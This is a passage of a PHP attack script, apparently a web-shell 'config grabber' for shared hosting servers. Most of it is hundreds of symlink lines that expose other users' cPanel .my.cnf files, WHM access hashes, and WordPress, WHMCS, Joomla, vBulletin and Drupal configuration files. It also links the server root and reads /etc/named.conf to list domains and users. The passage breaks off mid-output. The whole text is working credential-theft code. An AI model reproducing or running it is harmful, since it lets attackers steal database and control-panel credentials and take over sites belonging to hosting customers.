  3634. @symlink('/home2/' . $user . '/public_html/checkout/configuration.php', $user . '-checkout-WHMCS.txt');
  3635. @symlink('/home2/' . $user . '/public_html/host/configuration.php', $user . '-host-WHMCS.txt');
  3636. @symlink('/home2/' . $user . '/public_html/shop/configuration.php', $user . '-shop-WHMCS.txt');
  3637. @symlink('/home2/' . $user . '/public_html/shopping/configuration.php', $user . '-shopping-WHMCS.txt');
  3638. @symlink('/home2/' . $user . '/public_html/sale/configuration.php', $user . '-sale-WHMCS.txt');
  3639. @symlink('/home2/' . $user . '/public_html/client/configuration.php', $user . '-client-WHMCS.txt');
  3640. @symlink('/home2/' . $user . '/public_html/support/configuration.php', $user . '-support-WHMCS.txt');
  3641. @symlink('/home2/' . $user . '/public_html/clientsupport/configuration.php', $user . '-clientsupport-WHMCS.txt');
  3642. @symlink('/home2/' . $user . '/public_html/whm/whmcs/configuration.php', $user . '-whm-whmcs.txt');
  3643. @symlink('/home2/' . $user . '/public_html/whm/WHMCS/configuration.php', $user . '-whm-WHMCS.txt');
  3644. @symlink('/home2/' . $user . '/public_html/whmc/WHM/configuration.php', $user . '-whmc-WHM.txt');
  3645. @symlink('/home2/' . $user . '/public_html/whmcs/configuration.php', $user . '-whmc-WHMCS.txt');
  3646. @symlink('/home2/' . $user . '/public_html/supp/configuration.php', $user . '-supp-WHMCS.txt');
  3647. @symlink('/home2/' . $user . '/public_html/secure/configuration.php', $user . '-sucure-WHMCS.txt');
  3648. @symlink('/home2/' . $user . '/public_html/secure/whm/configuration.php', $user . '-sucure-whm-WHMCS.txt');
  3649. @symlink('/home2/' . $user . '/public_html/secure/whmcs/configuration.php', $user . '-sucure-whmcs-WHMCS.txt');
  3650. @symlink('/home2/' . $user . '/public_html/panel/configuration.php', $user . '-panel-WHMCS.txt');
  3651. @symlink('/home2/' . $user . '/public_html/hosts/configuration.php', $user . '-hosts-WHMCS.txt');
  3652. @symlink('/home2/' . $user . '/public_html/submitticket.php', $user . '-submitticket-WHMCS.txt');
  3653. @symlink('/home2/' . $user . '/public_html/clients/configuration.php', $user . '-clients-WHMCS.txt');
  3654. @symlink('/home2/' . $user . '/public_html/clientes/configuration.php', $user . '-clientes-WHMCS.txt');
  3655. @symlink('/home2/' . $user . '/public_html/cliente/configuration.php', $user . '-client-WHMCS.txt');
  3656. @symlink('/home2/' . $user . '/public_html/billing/configuration.php', $user . '-billing-WHMCS.txt');
  3657. @symlink('/home2/' . $user . '/public_html/manage/configuration.php', $user . '-whm-manage-WHMCS.txt');
  3658. @symlink('/home2/' . $user . '/public_html/my/configuration.php', $user . '-whm-my-WHMCS.txt');
  3659. @symlink('/home2/' . $user . '/public_html/myshop/configuration.php', $user . '-whm-myshop-WHMCS.txt');
  3660. @symlink('/home2/' . $user . '/public_html/billings/configuration.php', $user . '-billings-WHMCS.txt');
  3661. @symlink('/home2/' . $user . '/public_html/supports/configuration.php', $user . '-supports-WHMCS.txt');
  3662. @symlink('/home2/' . $user . '/public_html/auto/configuration.php', $user . '-auto-WHMCS.txt');
  3663. @symlink('/home2/' . $user . '/public_html/go/configuration.php', $user . '-go-WHMCS.txt');
  3664. @symlink('/home2/' . $user . '/public_html/' . $user . '/configuration.php', $user . '-USERNAME-WHMCS.txt');
  3665. @symlink('/home2/' . $user . '/public_html/bill/configuration.php', $user . '-bill-WHMCS.txt');
  3666. @symlink('/home2/' . $user . '/public_html/payment/configuration.php', $user . '-payment-WHMCS.txt');
  3667. @symlink('/home2/' . $user . '/public_html/pay/configuration.php', $user . '-pay-WHMCS.txt');
  3668. @symlink('/home2/' . $user . '/public_html/purchase/configuration.php', $user . '-purchase-WHMCS.txt');
  3669. @symlink('/home2/' . $user . '/public_html/clientarea/configuration.php', $user . '-clientarea-WHMCS.txt');
  3670. @symlink('/home2/' . $user . '/public_html/autobuy/configuration.php', $user . '-autobuy-WHMCS.txt');
  3671. @symlink('/home3/' . $user . '/.my.cnf', $user . '-cpanel.txt');
  3672. @symlink('/home3/' . $user . '/.accesshash', $user . '-WHM-accesshash.txt');
  3673. @symlink('/home3/' . $user . '/public_html/includes/configure.php', $user . '-shop.txt');
  3674. @symlink('/home3/' . $user . '/public_html/os/includes/configure.php', $user . '-shop-os.txt');
  3675. @symlink('/home3/' . $user . '/public_html/oscom/includes/configure.php', $user . '-oscom.txt');
  3676. @symlink('/home3/' . $user . '/public_html/oscommerce/includes/configure.php', $user . '-oscommerce.txt');
  3677. @symlink('/home3/' . $user . '/public_html/oscommerces/includes/configure.php', $user . '-oscommerces.txt');
  3678. @symlink('/home3/' . $user . '/public_html/shop/includes/configure.php', $user . '-shop2.txt');
  3679. @symlink('/home3/' . $user . '/public_html/shopping/includes/configure.php', $user . '-shop-shopping.txt');
  3680. @symlink('/home3/' . $user . '/public_html/sale/includes/configure.php', $user . '-sale.txt');
  3681. @symlink('/home3/' . $user . '/public_html/amember/config.inc.php', $user . '-amember.txt');
  3682. @symlink('/home3/' . $user . '/public_html/config.inc.php', $user . '-amember2.txt');
  3683. @symlink('/home3/' . $user . '/public_html/members/configuration.php', $user . '-members.txt');
  3684. @symlink('/home3/' . $user . '/public_html/config.php', $user . '-4images1.txt');
  3685. @symlink('/home3/' . $user . '/public_html/forum/includes/config.php', $user . '-forum.txt');
  3686. @symlink('/home3/' . $user . '/public_html/forums/includes/config.php', $user . '-forums.txt');
  3687. @symlink('/home3/' . $user . '/public_html/admin/conf.php', $user . '-5.txt');
  3688. @symlink('/home3/' . $user . '/public_html/admin/config.php', $user . '-4.txt');
  3689. @symlink('/home3/' . $user . '/public_html/wp-config.php', $user . '-wp13.txt');
  3690. @symlink('/home3/' . $user . '/public_html/wp/wp-config.php', $user . '-wp13-wp.txt');
  3691. @symlink('/home3/' . $user . '/public_html/WP/wp-config.php', $user . '-wp13-WP.txt');
  3692. @symlink('/home3/' . $user . '/public_html/wp/beta/wp-config.php', $user . '-wp13-wp-beta.txt');
  3693. @symlink('/home3/' . $user . '/public_html/beta/wp-config.php', $user . '-wp13-beta.txt');
  3694. @symlink('/home3/' . $user . '/public_html/press/wp-config.php', $user . '-wp13-press.txt');
  3695. @symlink('/home3/' . $user . '/public_html/wordpress/wp-config.php', $user . '-wp13-wordpress.txt');
  3696. @symlink('/home3/' . $user . '/public_html/Wordpress/wp-config.php', $user . '-wp13-Wordpress.txt');
  3697. @symlink('/home3/' . $user . '/public_html/blog/wp-config.php', $user . '-wp13-Wordpress.txt');
  3698. @symlink('/home3/' . $user . '/public_html/wordpress/beta/wp-config.php', $user . '-wp13-wordpress-beta.txt');
  3699. @symlink('/home3/' . $user . '/public_html/news/wp-config.php', $user . '-wp13-news.txt');
  3700. @symlink('/home3/' . $user . '/public_html/new/wp-config.php', $user . '-wp13-new.txt');
  3701. @symlink('/home3/' . $user . '/public_html/blog/wp-config.php', $user . '-wp-blog.txt');
  3702. @symlink('/home3/' . $user . '/public_html/beta/wp-config.php', $user . '-wp-beta.txt');
  3703. @symlink('/home3/' . $user . '/public_html/blogs/wp-config.php', $user . '-wp-blogs.txt');
  3704. @symlink('/home3/' . $user . '/public_html/home3/wp-config.php', $user . '-wp-home3.txt');
  3705. @symlink('/home3/' . $user . '/public_html/protal/wp-config.php', $user . '-wp-protal.txt');
  3706. @symlink('/home3/' . $user . '/public_html/site/wp-config.php', $user . '-wp-site.txt');
  3707. @symlink('/home3/' . $user . '/public_html/main/wp-config.php', $user . '-wp-main.txt');
  3708. @symlink('/home3/' . $user . '/public_html/test/wp-config.php', $user . '-wp-test.txt');
  3709. @symlink('/home3/' . $user . '/public_html/arcade/functions/dbclass.php', $user . '-ibproarcade.txt');
  3710. @symlink('/home3/' . $user . '/public_html/arcade/functions/dbclass.php', $user . '-ibproarcade.txt');
  3711. @symlink('/home3/' . $user . '/public_html/joomla/configuration.php', $user . '-joomla2.txt');
  3712. @symlink('/home3/' . $user . '/public_html/protal/configuration.php', $user . '-joomla-protal.txt');
  3713. @symlink('/home3/' . $user . '/public_html/joo/configuration.php', $user . '-joo.txt');
  3714. @symlink('/home3/' . $user . '/public_html/cms/configuration.php', $user . '-joomla-cms.txt');
  3715. @symlink('/home3/' . $user . '/public_html/site/configuration.php', $user . '-joomla-site.txt');
  3716. @symlink('/home3/' . $user . '/public_html/main/configuration.php', $user . '-joomla-main.txt');
  3717. @symlink('/home3/' . $user . '/public_html/news/configuration.php', $user . '-joomla-news.txt');
  3718. @symlink('/home3/' . $user . '/public_html/new/configuration.php', $user . '-joomla-new.txt');
  3719. @symlink('/home3/' . $user . '/public_html/home3/configuration.php', $user . '-joomla-home3.txt');
  3720. @symlink('/home3/' . $user . '/public_html/vb/includes/config.php', $user . '-vb-config.txt');
  3721. @symlink('/home3/' . $user . '/public_html/vb3/includes/config.php', $user . '-vb3-config.txt');
  3722. @symlink('/home3/' . $user . '/public_html/cc/includes/config.php', $user . '-vb1-config.txt');
  3723. @symlink('/home3/' . $user . '/public_html/includes/config.php', $user . '-includes-vb.txt');
  3724. @symlink('/home3/' . $user . '/public_html/forum/includes/class_core.php', $user . '-vbluttin-class_core.php.txt');
  3725. @symlink('/home3/' . $user . '/public_html/vb/includes/class_core.php', $user . '-vbluttin-class_core.php1.txt');
  3726. @symlink('/home3/' . $user . '/public_html/cc/includes/class_core.php', $user . '-vbluttin-class_core.php2.txt');
  3727. @symlink('/home3/' . $user . '/public_html/configuration.php', $user . '-joomla.txt');
  3728. @symlink('/home3/' . $user . '/public_html/includes/dist-configure.php', $user . '-zencart.txt');
  3729. @symlink('/home3/' . $user . '/public_html/zencart/includes/dist-configure.php', $user . '-shop-zencart.txt');
  3730. @symlink('/home3/' . $user . '/public_html/shop/includes/dist-configure.php', $user . '-shop-ZCshop.txt');
  3731. @symlink('/home3/' . $user . '/public_html/Settings.php', $user . '-smf.txt');
  3732. @symlink('/home3/' . $user . '/public_html/smf/Settings.php', $user . '-smf2.txt');
  3733. @symlink('/home3/' . $user . '/public_html/forum/Settings.php', $user . '-smf-forum.txt');
  3734. @symlink('/home3/' . $user . '/public_html/forums/Settings.php', $user . '-smf-forums.txt');
  3735. @symlink('/home3/' . $user . '/public_html/upload/includes/config.php', $user . '-up.txt');
  3736. @symlink('/home3/' . $user . '/public_html/article/config.php', $user . '-Nwahy.txt');
  3737. @symlink('/home3/' . $user . '/public_html/up/includes/config.php', $user . '-up2.txt');
  3738. @symlink('/home3/' . $user . '/public_html/conf_global.php', $user . '-6.txt');
  3739. @symlink('/home3/' . $user . '/public_html/include/db.php', $user . '-7.txt');
  3740. @symlink('/home3/' . $user . '/public_html/connect.php', $user . '-PHP-Fusion.txt');
  3741. @symlink('/home3/' . $user . '/public_html/mk_conf.php', $user . '-9.txt');
  3742. @symlink('/home3/' . $user . '/public_html/includes/config.php', $user . '-traidnt1.txt');
  3743. @symlink('/home3/' . $user . '/public_html/config.php', $user . '-4images.txt');
  3744. @symlink('/home3/' . $user . '/public_html/sites/default/settings.php', $user . '-Drupal.txt');
  3745. @symlink('/home3/' . $user . '/public_html/member/configuration.php', $user . '-1member.txt');
  3746. @symlink('/home3/' . $user . '/public_html/supports/includes/iso4217.php', $user . '-hostbills-supports.txt');
  3747. @symlink('/home3/' . $user . '/public_html/client/includes/iso4217.php', $user . '-hostbills-client.txt');
  3748. @symlink('/home3/' . $user . '/public_html/support/includes/iso4217.php', $user . '-hostbills-support.txt');
  3749. @symlink('/home3/' . $user . '/public_html/billing/includes/iso4217.php', $user . '-hostbills-billing.txt');
  3750. @symlink('/home3/' . $user . '/public_html/billings/includes/iso4217.php', $user . '-hostbills-billings.txt');
  3751. @symlink('/home3/' . $user . '/public_html/host/includes/iso4217.php', $user . '-hostbills-host.txt');
  3752. @symlink('/home3/' . $user . '/public_html/hosts/includes/iso4217.php', $user . '-hostbills-hosts.txt');
  3753. @symlink('/home3/' . $user . '/public_html/hosting/includes/iso4217.php', $user . '-hostbills-hosting.txt');
  3754. @symlink('/home3/' . $user . '/public_html/hostings/includes/iso4217.php', $user . '-hostbills-hostings.txt');
  3755. @symlink('/home3/' . $user . '/public_html/includes/iso4217.php', $user . '-hostbills.txt');
  3756. @symlink('/home3/' . $user . '/public_html/hostbills/includes/iso4217.php', $user . '-hostbills-hostbills.txt');
  3757. @symlink('/home3/' . $user . '/public_html/hostbill/includes/iso4217.php', $user . '-hostbills-hostbill.txt');
  3758. @symlink('/home3/' . $user . '/public_html/cart/configuration.php', $user . '-cart-WHMCS.txt');
  3759. @symlink('/home3/' . $user . '/public_html/hosting/configuration.php', $user . '-hosting-WHMCS.txt');
  3760. @symlink('/home3/' . $user . '/public_html/buy/configuration.php', $user . '-buy-WHMCS.txt');
  3761. @symlink('/home3/' . $user . '/public_html/checkout/configuration.php', $user . '-checkout-WHMCS.txt');
  3762. @symlink('/home3/' . $user . '/public_html/host/configuration.php', $user . '-host-WHMCS.txt');
  3763. @symlink('/home3/' . $user . '/public_html/shop/configuration.php', $user . '-shop-WHMCS.txt');
  3764. @symlink('/home3/' . $user . '/public_html/shopping/configuration.php', $user . '-shopping-WHMCS.txt');
  3765. @symlink('/home3/' . $user . '/public_html/sale/configuration.php', $user . '-sale-WHMCS.txt');
  3766. @symlink('/home3/' . $user . '/public_html/client/configuration.php', $user . '-client-WHMCS.txt');
  3767. @symlink('/home3/' . $user . '/public_html/support/configuration.php', $user . '-support-WHMCS.txt');
  3768. @symlink('/home3/' . $user . '/public_html/clientsupport/configuration.php', $user . '-clientsupport-WHMCS.txt');
  3769. @symlink('/home3/' . $user . '/public_html/whm/whmcs/configuration.php', $user . '-whm-whmcs.txt');
  3770. @symlink('/home3/' . $user . '/public_html/whm/WHMCS/configuration.php', $user . '-whm-WHMCS.txt');
  3771. @symlink('/home3/' . $user . '/public_html/whmc/WHM/configuration.php', $user . '-whmc-WHM.txt');
  3772. @symlink('/home3/' . $user . '/public_html/whmcs/configuration.php', $user . '-whmc-WHMCS.txt');
  3773. @symlink('/home3/' . $user . '/public_html/supp/configuration.php', $user . '-supp-WHMCS.txt');
  3774. @symlink('/home3/' . $user . '/public_html/secure/configuration.php', $user . '-sucure-WHMCS.txt');
  3775. @symlink('/home3/' . $user . '/public_html/secure/whm/configuration.php', $user . '-sucure-whm-WHMCS.txt');
  3776. @symlink('/home3/' . $user . '/public_html/secure/whmcs/configuration.php', $user . '-sucure-whmcs-WHMCS.txt');
  3777. @symlink('/home3/' . $user . '/public_html/panel/configuration.php', $user . '-panel-WHMCS.txt');
  3778. @symlink('/home3/' . $user . '/public_html/hosts/configuration.php', $user . '-hosts-WHMCS.txt');
  3779. @symlink('/home3/' . $user . '/public_html/submitticket.php', $user . '-submitticket-WHMCS.txt');
  3780. @symlink('/home3/' . $user . '/public_html/clients/configuration.php', $user . '-clients-WHMCS.txt');
  3781. @symlink('/home3/' . $user . '/public_html/clientes/configuration.php', $user . '-clientes-WHMCS.txt');
  3782. @symlink('/home3/' . $user . '/public_html/cliente/configuration.php', $user . '-client-WHMCS.txt');
  3783. @symlink('/home3/' . $user . '/public_html/billing/configuration.php', $user . '-billing-WHMCS.txt');
  3784. @symlink('/home3/' . $user . '/public_html/manage/configuration.php', $user . '-whm-manage-WHMCS.txt');
  3785. @symlink('/home3/' . $user . '/public_html/my/configuration.php', $user . '-whm-my-WHMCS.txt');
  3786. @symlink('/home3/' . $user . '/public_html/myshop/configuration.php', $user . '-whm-myshop-WHMCS.txt');
  3787. @symlink('/home3/' . $user . '/public_html/billings/configuration.php', $user . '-billings-WHMCS.txt');
  3788. @symlink('/home3/' . $user . '/public_html/supports/configuration.php', $user . '-supports-WHMCS.txt');
  3789. @symlink('/home3/' . $user . '/public_html/auto/configuration.php', $user . '-auto-WHMCS.txt');
  3790. @symlink('/home3/' . $user . '/public_html/go/configuration.php', $user . '-go-WHMCS.txt');
  3791. @symlink('/home3/' . $user . '/public_html/' . $user . '/configuration.php', $user . '-USERNAME-WHMCS.txt');
  3792. @symlink('/home3/' . $user . '/public_html/bill/configuration.php', $user . '-bill-WHMCS.txt');
  3793. @symlink('/home3/' . $user . '/public_html/payment/configuration.php', $user . '-payment-WHMCS.txt');
  3794. @symlink('/home3/' . $user . '/public_html/pay/configuration.php', $user . '-pay-WHMCS.txt');
  3795. @symlink('/home3/' . $user . '/public_html/purchase/configuration.php', $user . '-purchase-WHMCS.txt');
  3796. @symlink('/home3/' . $user . '/public_html/clientarea/configuration.php', $user . '-clientarea-WHMCS.txt');
  3797. @symlink('/home3/' . $user . '/public_html/autobuy/configuration.php', $user . '-autobuy-WHMCS.txt');
  3798. @symlink('/home4/' . $user . '/.my.cnf', $user . '-cpanel.txt');
  3799. @symlink('/home4/' . $user . '/.accesshash', $user . '-WHM-accesshash.txt');
  3800. @symlink('/home4/' . $user . '/public_html/includes/configure.php', $user . '-shop.txt');
  3801. @symlink('/home4/' . $user . '/public_html/os/includes/configure.php', $user . '-shop-os.txt');
  3802. @symlink('/home4/' . $user . '/public_html/oscom/includes/configure.php', $user . '-oscom.txt');
  3803. @symlink('/home4/' . $user . '/public_html/oscommerce/includes/configure.php', $user . '-oscommerce.txt');
  3804. @symlink('/home4/' . $user . '/public_html/oscommerces/includes/configure.php', $user . '-oscommerces.txt');
  3805. @symlink('/home4/' . $user . '/public_html/shop/includes/configure.php', $user . '-shop2.txt');
  3806. @symlink('/home4/' . $user . '/public_html/shopping/includes/configure.php', $user . '-shop-shopping.txt');
  3807. @symlink('/home4/' . $user . '/public_html/sale/includes/configure.php', $user . '-sale.txt');
  3808. @symlink('/home4/' . $user . '/public_html/amember/config.inc.php', $user . '-amember.txt');
  3809. @symlink('/home4/' . $user . '/public_html/config.inc.php', $user . '-amember2.txt');
  3810. @symlink('/home4/' . $user . '/public_html/members/configuration.php', $user . '-members.txt');
  3811. @symlink('/home4/' . $user . '/public_html/config.php', $user . '-4images1.txt');
  3812. @symlink('/home4/' . $user . '/public_html/forum/includes/config.php', $user . '-forum.txt');
  3813. @symlink('/home4/' . $user . '/public_html/forums/includes/config.php', $user . '-forums.txt');
  3814. @symlink('/home4/' . $user . '/public_html/admin/conf.php', $user . '-5.txt');
  3815. @symlink('/home4/' . $user . '/public_html/admin/config.php', $user . '-4.txt');
  3816. @symlink('/home4/' . $user . '/public_html/wp-config.php', $user . '-wp13.txt');
  3817. @symlink('/home4/' . $user . '/public_html/wp/wp-config.php', $user . '-wp13-wp.txt');
  3818. @symlink('/home4/' . $user . '/public_html/WP/wp-config.php', $user . '-wp13-WP.txt');
  3819. @symlink('/home4/' . $user . '/public_html/wp/beta/wp-config.php', $user . '-wp13-wp-beta.txt');
  3820. @symlink('/home4/' . $user . '/public_html/beta/wp-config.php', $user . '-wp13-beta.txt');
  3821. @symlink('/home4/' . $user . '/public_html/press/wp-config.php', $user . '-wp13-press.txt');
  3822. @symlink('/home4/' . $user . '/public_html/wordpress/wp-config.php', $user . '-wp13-wordpress.txt');
  3823. @symlink('/home4/' . $user . '/public_html/Wordpress/wp-config.php', $user . '-wp13-Wordpress.txt');
  3824. @symlink('/home4/' . $user . '/public_html/blog/wp-config.php', $user . '-wp13-Wordpress.txt');
  3825. @symlink('/home4/' . $user . '/public_html/wordpress/beta/wp-config.php', $user . '-wp13-wordpress-beta.txt');
  3826. @symlink('/home4/' . $user . '/public_html/news/wp-config.php', $user . '-wp13-news.txt');
  3827. @symlink('/home4/' . $user . '/public_html/new/wp-config.php', $user . '-wp13-new.txt');
  3828. @symlink('/home4/' . $user . '/public_html/blog/wp-config.php', $user . '-wp-blog.txt');
  3829. @symlink('/home4/' . $user . '/public_html/beta/wp-config.php', $user . '-wp-beta.txt');
  3830. @symlink('/home4/' . $user . '/public_html/blogs/wp-config.php', $user . '-wp-blogs.txt');
  3831. @symlink('/home4/' . $user . '/public_html/home4/wp-config.php', $user . '-wp-home4.txt');
  3832. @symlink('/home4/' . $user . '/public_html/protal/wp-config.php', $user . '-wp-protal.txt');
  3833. @symlink('/home4/' . $user . '/public_html/site/wp-config.php', $user . '-wp-site.txt');
  3834. @symlink('/home4/' . $user . '/public_html/main/wp-config.php', $user . '-wp-main.txt');
  3835. @symlink('/home4/' . $user . '/public_html/test/wp-config.php', $user . '-wp-test.txt');
  3836. @symlink('/home4/' . $user . '/public_html/arcade/functions/dbclass.php', $user . '-ibproarcade.txt');
  3837. @symlink('/home4/' . $user . '/public_html/arcade/functions/dbclass.php', $user . '-ibproarcade.txt');
  3838. @symlink('/home4/' . $user . '/public_html/joomla/configuration.php', $user . '-joomla2.txt');
  3839. @symlink('/home4/' . $user . '/public_html/protal/configuration.php', $user . '-joomla-protal.txt');
  3840. @symlink('/home4/' . $user . '/public_html/joo/configuration.php', $user . '-joo.txt');
  3841. @symlink('/home4/' . $user . '/public_html/cms/configuration.php', $user . '-joomla-cms.txt');
  3842. @symlink('/home4/' . $user . '/public_html/site/configuration.php', $user . '-joomla-site.txt');
  3843. @symlink('/home4/' . $user . '/public_html/main/configuration.php', $user . '-joomla-main.txt');
  3844. @symlink('/home4/' . $user . '/public_html/news/configuration.php', $user . '-joomla-news.txt');
  3845. @symlink('/home4/' . $user . '/public_html/new/configuration.php', $user . '-joomla-new.txt');
  3846. @symlink('/home4/' . $user . '/public_html/home4/configuration.php', $user . '-joomla-home4.txt');
  3847. @symlink('/home4/' . $user . '/public_html/vb/includes/config.php', $user . '-vb-config.txt');
  3848. @symlink('/home4/' . $user . '/public_html/vb3/includes/config.php', $user . '-vb3-config.txt');
  3849. @symlink('/home4/' . $user . '/public_html/cc/includes/config.php', $user . '-vb1-config.txt');
  3850. @symlink('/home4/' . $user . '/public_html/includes/config.php', $user . '-includes-vb.txt');
  3851. @symlink('/home4/' . $user . '/public_html/forum/includes/class_core.php', $user . '-vbluttin-class_core.php.txt');
  3852. @symlink('/home4/' . $user . '/public_html/vb/includes/class_core.php', $user . '-vbluttin-class_core.php1.txt');
  3853. @symlink('/home4/' . $user . '/public_html/cc/includes/class_core.php', $user . '-vbluttin-class_core.php2.txt');
  3854. @symlink('/home4/' . $user . '/public_html/configuration.php', $user . '-joomla.txt');
  3855. @symlink('/home4/' . $user . '/public_html/includes/dist-configure.php', $user . '-zencart.txt');
  3856. @symlink('/home4/' . $user . '/public_html/zencart/includes/dist-configure.php', $user . '-shop-zencart.txt');
  3857. @symlink('/home4/' . $user . '/public_html/shop/includes/dist-configure.php', $user . '-shop-ZCshop.txt');
  3858. @symlink('/home4/' . $user . '/public_html/Settings.php', $user . '-smf.txt');
  3859. @symlink('/home4/' . $user . '/public_html/smf/Settings.php', $user . '-smf2.txt');
  3860. @symlink('/home4/' . $user . '/public_html/forum/Settings.php', $user . '-smf-forum.txt');
  3861. @symlink('/home4/' . $user . '/public_html/forums/Settings.php', $user . '-smf-forums.txt');
  3862. @symlink('/home4/' . $user . '/public_html/upload/includes/config.php', $user . '-up.txt');
  3863. @symlink('/home4/' . $user . '/public_html/article/config.php', $user . '-Nwahy.txt');
  3864. @symlink('/home4/' . $user . '/public_html/up/includes/config.php', $user . '-up2.txt');
  3865. @symlink('/home4/' . $user . '/public_html/conf_global.php', $user . '-6.txt');
  3866. @symlink('/home4/' . $user . '/public_html/include/db.php', $user . '-7.txt');
  3867. @symlink('/home4/' . $user . '/public_html/connect.php', $user . '-PHP-Fusion.txt');
  3868. @symlink('/home4/' . $user . '/public_html/mk_conf.php', $user . '-9.txt');
  3869. @symlink('/home4/' . $user . '/public_html/includes/config.php', $user . '-traidnt1.txt');
  3870. @symlink('/home4/' . $user . '/public_html/config.php', $user . '-4images.txt');
  3871. @symlink('/home4/' . $user . '/public_html/sites/default/settings.php', $user . '-Drupal.txt');
  3872. @symlink('/home4/' . $user . '/public_html/member/configuration.php', $user . '-1member.txt');
  3873. @symlink('/home4/' . $user . '/public_html/supports/includes/iso4217.php', $user . '-hostbills-supports.txt');
  3874. @symlink('/home4/' . $user . '/public_html/client/includes/iso4217.php', $user . '-hostbills-client.txt');
  3875. @symlink('/home4/' . $user . '/public_html/support/includes/iso4217.php', $user . '-hostbills-support.txt');
  3876. @symlink('/home4/' . $user . '/public_html/billing/includes/iso4217.php', $user . '-hostbills-billing.txt');
  3877. @symlink('/home4/' . $user . '/public_html/billings/includes/iso4217.php', $user . '-hostbills-billings.txt');
  3878. @symlink('/home4/' . $user . '/public_html/host/includes/iso4217.php', $user . '-hostbills-host.txt');
  3879. @symlink('/home4/' . $user . '/public_html/hosts/includes/iso4217.php', $user . '-hostbills-hosts.txt');
  3880. @symlink('/home4/' . $user . '/public_html/hosting/includes/iso4217.php', $user . '-hostbills-hosting.txt');
  3881. @symlink('/home4/' . $user . '/public_html/hostings/includes/iso4217.php', $user . '-hostbills-hostings.txt');
  3882. @symlink('/home4/' . $user . '/public_html/includes/iso4217.php', $user . '-hostbills.txt');
  3883. @symlink('/home4/' . $user . '/public_html/hostbills/includes/iso4217.php', $user . '-hostbills-hostbills.txt');
  3884. @symlink('/home4/' . $user . '/public_html/hostbill/includes/iso4217.php', $user . '-hostbills-hostbill.txt');
  3885. @symlink('/home4/' . $user . '/public_html/cart/configuration.php', $user . '-cart-WHMCS.txt');
  3886. @symlink('/home4/' . $user . '/public_html/hosting/configuration.php', $user . '-hosting-WHMCS.txt');
  3887. @symlink('/home4/' . $user . '/public_html/buy/configuration.php', $user . '-buy-WHMCS.txt');
  3888. @symlink('/home4/' . $user . '/public_html/checkout/configuration.php', $user . '-checkout-WHMCS.txt');
  3889. @symlink('/home4/' . $user . '/public_html/host/configuration.php', $user . '-host-WHMCS.txt');
  3890. @symlink('/home4/' . $user . '/public_html/shop/configuration.php', $user . '-shop-WHMCS.txt');
  3891. @symlink('/home4/' . $user . '/public_html/shopping/configuration.php', $user . '-shopping-WHMCS.txt');
  3892. @symlink('/home4/' . $user . '/public_html/sale/configuration.php', $user . '-sale-WHMCS.txt');
  3893. @symlink('/home4/' . $user . '/public_html/client/configuration.php', $user . '-client-WHMCS.txt');
  3894. @symlink('/home4/' . $user . '/public_html/support/configuration.php', $user . '-support-WHMCS.txt');
  3895. @symlink('/home4/' . $user . '/public_html/clientsupport/configuration.php', $user . '-clientsupport-WHMCS.txt');
  3896. @symlink('/home4/' . $user . '/public_html/whm/whmcs/configuration.php', $user . '-whm-whmcs.txt');
  3897. @symlink('/home4/' . $user . '/public_html/whm/WHMCS/configuration.php', $user . '-whm-WHMCS.txt');
  3898. @symlink('/home4/' . $user . '/public_html/whmc/WHM/configuration.php', $user . '-whmc-WHM.txt');
  3899. @symlink('/home4/' . $user . '/public_html/whmcs/configuration.php', $user . '-whmc-WHMCS.txt');
  3900. @symlink('/home4/' . $user . '/public_html/supp/configuration.php', $user . '-supp-WHMCS.txt');
  3901. @symlink('/home4/' . $user . '/public_html/secure/configuration.php', $user . '-sucure-WHMCS.txt');
  3902. @symlink('/home4/' . $user . '/public_html/secure/whm/configuration.php', $user . '-sucure-whm-WHMCS.txt');
  3903. @symlink('/home4/' . $user . '/public_html/secure/whmcs/configuration.php', $user . '-sucure-whmcs-WHMCS.txt');
  3904. @symlink('/home4/' . $user . '/public_html/panel/configuration.php', $user . '-panel-WHMCS.txt');
  3905. @symlink('/home4/' . $user . '/public_html/hosts/configuration.php', $user . '-hosts-WHMCS.txt');
  3906. @symlink('/home4/' . $user . '/public_html/submitticket.php', $user . '-submitticket-WHMCS.txt');
  3907. @symlink('/home4/' . $user . '/public_html/clients/configuration.php', $user . '-clients-WHMCS.txt');
  3908. @symlink('/home4/' . $user . '/public_html/clientes/configuration.php', $user . '-clientes-WHMCS.txt');
  3909. @symlink('/home4/' . $user . '/public_html/cliente/configuration.php', $user . '-client-WHMCS.txt');
  3910. @symlink('/home4/' . $user . '/public_html/billing/configuration.php', $user . '-billing-WHMCS.txt');
  3911. @symlink('/home4/' . $user . '/public_html/manage/configuration.php', $user . '-whm-manage-WHMCS.txt');
  3912. @symlink('/home4/' . $user . '/public_html/my/configuration.php', $user . '-whm-my-WHMCS.txt');
  3913. @symlink('/home4/' . $user . '/public_html/myshop/configuration.php', $user . '-whm-myshop-WHMCS.txt');
  3914. @symlink('/home4/' . $user . '/public_html/billings/configuration.php', $user . '-billings-WHMCS.txt');
  3915. @symlink('/home4/' . $user . '/public_html/supports/configuration.php', $user . '-supports-WHMCS.txt');
  3916. @symlink('/home4/' . $user . '/public_html/auto/configuration.php', $user . '-auto-WHMCS.txt');
  3917. @symlink('/home4/' . $user . '/public_html/go/configuration.php', $user . '-go-WHMCS.txt');
  3918. @symlink('/home4/' . $user . '/public_html/' . $user . '/configuration.php', $user . '-USERNAME-WHMCS.txt');
  3919. @symlink('/home4/' . $user . '/public_html/bill/configuration.php', $user . '-bill-WHMCS.txt');
  3920. @symlink('/home4/' . $user . '/public_html/payment/configuration.php', $user . '-payment-WHMCS.txt');
  3921. @symlink('/home4/' . $user . '/public_html/pay/configuration.php', $user . '-pay-WHMCS.txt');
  3922. @symlink('/home4/' . $user . '/public_html/purchase/configuration.php', $user . '-purchase-WHMCS.txt');
  3923. @symlink('/home4/' . $user . '/public_html/clientarea/configuration.php', $user . '-clientarea-WHMCS.txt');
  3924. @symlink('/home4/' . $user . '/public_html/autobuy/configuration.php', $user . '-autobuy-WHMCS.txt');
  3925. @symlink('/', 'btmgrab/root');
  3926. }
  3927. echo "<center><a href='btmgrab/root' target='_blank'><h1>Root</h1></a><br>
  3928. <br>
  3929. <center><a href='btmgrab' target='_blank'><h1>Configurations</h1></a><br>";
  3930. echo "<title> Domains & Users</title>
  3931.  
  3932.  
  3933. <p align=center> Domains & Users</p>
  3934.  
  3935. <center>";
  3936. $d0mains = @file("/etc/named.conf");
  3937. if (!$d0mains) {
  3938. die("<b> can't Read /etc/named.conf<br><br><br> Done");
  3939. }
  3940. echo "<table align=center border=1>
  3941.  
